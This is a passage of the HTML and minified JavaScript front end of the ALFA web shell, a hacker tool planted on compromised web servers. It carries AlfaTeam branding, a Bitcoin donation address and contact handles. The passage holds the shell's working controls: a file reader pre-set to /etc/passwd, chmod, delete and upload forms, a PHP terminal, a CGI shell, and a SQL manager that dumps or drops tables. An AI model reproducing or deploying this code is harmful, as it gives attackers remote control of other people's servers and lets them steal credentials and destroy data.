<td width="22%"><form onsubmit="g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;"><span class="footer_text">Delete : </span><br><input class="dir" type="text" name="del" value=" "> <input type="submit" value=" "></form></td>
<td width="19%"><form onsubmit="if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;"><span class="footer_text">Chmod : </span><br><input class="dir" type="text" name="f" value=" "> <input type="submit" value=" "></form></td>
</tr>
<tr>
<td colspan="2"><form onsubmit="g("FilesMan",this.c.value,"");return false;"><span class="footer_text">Change Dir : </span><br><input class="foottable" id="footer_cwd" type="text" name="c" value="/var/www/html/"> <input type="submit" value=" "></form></td>
<td colspan="2"><form onsubmit="editor(this.file.value,'view','','','','file');return false;"><span><span class="footer_text">Read File : </span></span><br><input class="foottable" type="text" name="file" value="/etc/passwd"> <input type="submit" value=" "></form></td>
</tr>
<tr>
<td colspan="4"><form style="margin-top: 10px;" onsubmit="return false;" autocomplete="off"><span><span class="footer_text">Execute :</span><br><button onclick="alfaOpenPhpTerminal();return false;" class="foottable alfa_custom_cmd_btn"><img style="width:28px;vertical-align: middle;" src="http://solevisible.com/icons/menu/terminal.svg"> Terminal</button><br></span></form></td>
</tr>
<tr>
<td colspan="4"><form onsubmit="u(this);return false;" name="footer_form" method="post" enctype="multipart/form-data">
<input type="hidden" name="a" value="FilesMAn">
<input type="hidden" name="c" value="/var/www/html/">
<input type="hidden" name="ajax" value="true">
<input type="hidden" name="alfa1" value="uploadFile">
<input type="hidden" name="charset" value="Windows-1251">
<span class="footer_text">Upload file: </span><span><button id="addup" onclick="addnewup();return false;"><b>+</b></button></span><p id="pfooterup"><label class="inputfile" for="footerup"><span id="__fnameup"></span> <strong> Choose a file</strong></label><input id="footerup" class="toolsInp" type="file" name="f[]" onchange="handleup(this,0);" multiple=""></p><input type="submit" name="submit" value=" "></form><div id="alfa-copyright"><span class="copyright">[ ./AlfaTeam © 2012-2023 ]</span><br><span><a href="javascript:void(0);" onclick="alert("BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo");" style="color: #E91E63;text-decoration: none;">Donate Us !</a></span> <span style="letter-spacing: 2px;color: #dfff00;">solevisible[at]gmail.com</span> <span><a style="color: #ff6060;text-decoration: none;" target="_blank" href="https://telegram.me/solevisible">@solevisible</a></span></div></td>
</tr>
</tbody></table>
</div>
<div id="options_window" style="background: rgba(0, 0, 0, 0.69); display: none;"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize("options_window");"></div><div onclick="editorClose("options_window");" class="close-button"></div></div></div><div style="height:100%;" class="content_options_holder"><div class="options_tab"></div><div class="options_content" style="margin-left:14px;margin-right:30px;background:#000;overflow:auto;"></div></div></div></div>
<div id="database_window" style="background:rgba(0, 0, 0, 0.69);"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title">Sql Manager</div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize("database_window");"></div><div onclick="editorClose("database_window");" class="close-button"></div></div></div><div class="content_options_holder" style="margin-left:14px;margin-right:30px;background:#000;max-height:90%;"><div class="sql-tabs"></div><div class="sql-contents" style="max-height: 85vh;"></div></div></div></div>
<div id="cgiloader" style="display: none;"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize("cgiloader");"></div><div onclick="editorClose("cgiloader");" class="close-button"></div></div></div><div id="cgiframe" style="position:relative;margin-left:14px;margin-right:30px;"><div class="terminal-tabs"></div><div style="height:90%;" class="terminal-contents"></div></div></div></div>
<div id="editor" style="display:none;"><div class="editor-wrapper"><div class="editor-header"><div class="editor-path"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize("editor");"></div><div onclick="editorClose("editor");" class="close-button"></div></div></div><div onclick="historyPanelController(this);" mode="visible" class="history-panel-controller"><<</div><div class="editor-explorer"><div class="hheader"><div class="history-clear" onclick="clearEditorHistory();">Clear all</div><div class="hheader-text">History</div><div class="editor-search"><input type="text" style="text-align:center;" id="search-input" placeholder="search"></div></div><div class="history-list"></div></div><div class="editor-modal"><div class="editor-body"><div class="editor-content"><div class="editor-tabs"></div><div class="editor-content-holder"></div></div></div></div></div></div>
<div id="update-content"></div>
<div id="database_window-minimized" onclick="showEditor("database_window");"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div class="minimized-text" style="top: 15px;">Database</div></div></div>
<div id="options_window-minimized" onclick="showEditor("options_window");"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 4px;" class="minimized-text">Options</div></div></div>
<div id="editor-minimized" onclick="showEditor("editor");"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 2px;" class="minimized-text">Editor</div></div></div>
<div id="cgiloader-minimized" onclick="showEditor("cgiloader");"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 12px;" class="minimized-text">Cgi Shell</div></div></div>
<div id="rightclick_menu">
<a target="_blank" href="" name="newtab"><img src="http://solevisible.com/icons/menu/newtab.svg"> Open in new tab</a>
<a target="_blank" href="" name="link"><img src="http://solevisible.com/icons/menu/link.svg"> Open file directly</a>
<a href="javascript:void(0);" name="download"><img src="http://solevisible.com/icons/menu/download2.svg"> Download</a>
<a href="" name="view"><img src="http://solevisible.com/icons/menu/view.svg"> View</a>
<a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="view_archive"><img src="http://solevisible.com/icons/menu/view.svg"> View Archive</a>
<a href="" name="edit"><img src="http://solevisible.com/icons/menu/edit.svg"> Edit</a>
<a href="javascript:void(0);" onclick="alfaPopupAction(this, "move");" ftype="" path="" fname="" name="move"><img src="http://solevisible.com/icons/menu/move.svg"> Move</a>
<a href="javascript:void(0);" onclick="alfaPopupAction(this, "copy");" ftype="" path="" fname="" name="copy"><img src="http://solevisible.com/icons/menu/copy.svg"> Copy</a>
<a href="javascript:void(0);" onclick="alfaPopupAction(this, "rename");" ftype="" path="" fname="" name="rename"><img src="http://solevisible.com/icons/menu/rename.svg"> Rename</a>
<a href="javascript:void(0);" onclick="alfaPopupAction(this, "modify");" ftype="" path="" fname="" name="modify"><img src="http://solevisible.com/icons/menu/time.svg"> Modify</a>
<a href="javascript:void(0);" onclick="alfaPopupAction(this, "permission");" name="permission"><img src="http://solevisible.com/icons/menu/key.svg"> Change Permissions</a>
<a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="compress"><img src="http://solevisible.com/icons/menu/resize.svg"> Compress</a>
<a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="extract"><img src="http://solevisible.com/icons/menu/increase.svg"> Extract</a>
<a href="javascript:void(0);" name="delete"><img src="http://solevisible.com/icons/menu/delete.svg"> Delete</a>
</div>
<div id="filesman-tab-full-path"></div>
<div id="alert-area" class="alert-area"></div>
<div class="cl-popup-fixed" style="display:none;">
<div id="shortcutMenu-holder">
<div class="popup-head"></div>
<form autocomplete="off" onsubmit="return false;">
<label class="old-path-lbl"></label>
<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;" class="old-path-content"></div>
<label style="margin-top:10px;" class="new-filename-lbl">New file name</label>
<input type="text" name="fname">
<div class="perm-table-holder">
<table>
<tbody>
<tr>
<td><b>Mode</b></td>
<td>User</td>
<td>Group</td>
<td>World</td>
</tr>
<tr>
<td>Read</td>
<td><input type="checkbox" name="ur" value="4" onclick="calcperm();"></td>
<td><input type="checkbox" name="gr" value="4" onclick="calcperm();"></td>
<td><input type="checkbox" name="wr" value="4" onclick="calcperm();"></td>
</tr>
<tr>
<td>Write</td>
<td><input type="checkbox" name="uw" value="2" onclick="calcperm();"></td>
<td><input type="checkbox" name="gw" value="2" onclick="calcperm();"></td>
<td><input type="checkbox" name="ww" value="2" onclick="calcperm();"></td>
</tr>
<tr>
<td>Execute</td>
<td><input type="checkbox" name="ux" value="1" onclick="calcperm();"></td>
<td><input type="checkbox" name="gx" value="1" onclick="calcperm();"></td>
<td><input type="checkbox" name="wx" value="1" onclick="calcperm();"></td>
</tr>
<tr>
<td>Permission</td>
<td><input style="width:60px;" type="text" name="u" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, "u", ["u"]);"></td>
<td><input style="width:60px;" type="text" name="g" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, "g", ["g"]);"></td>
<td><input style="width:60px;" type="text" name="w" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, "w", ["w"]);"></td>
</tr>
</tbody>
</table>
</div>
</form>
<div class="popup-foot">
<button style="background: #2b5225;" name="accept" action="" onclick="alfaPopUpDoAction(this);"></button>
<button style="background: #9e2c2c;" onclick="d.querySelector(".cl-popup-fixed").style.display="none";">Cancell</button>
</div>
</div>
</div><script>
function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';for(var o in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'> <a class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"alfaLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":" ")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="<<",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML=">>",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>></option><option value='>='>>=</option><option value='<'><</option><option value='<='><=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name='"+e[c].col+"' rows='5'>"+e[c].value+"</textarea>";break;case"input":u="<input type='"+e[c].type.type+"' name='"+e[c].col+"' value='"+e[c].value+"'>"}s+="<tr><th style='text-align: left;'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style='margin-left:20px;'><button col_key='"+l+"' key='"+r+"' tbl_name='"+o+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"edit\");return false;'>Update</button></div><div class='mysql-update-result'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+='<optgroup label="'+t[l].key+'">',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw'"msg parameter is empty"';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 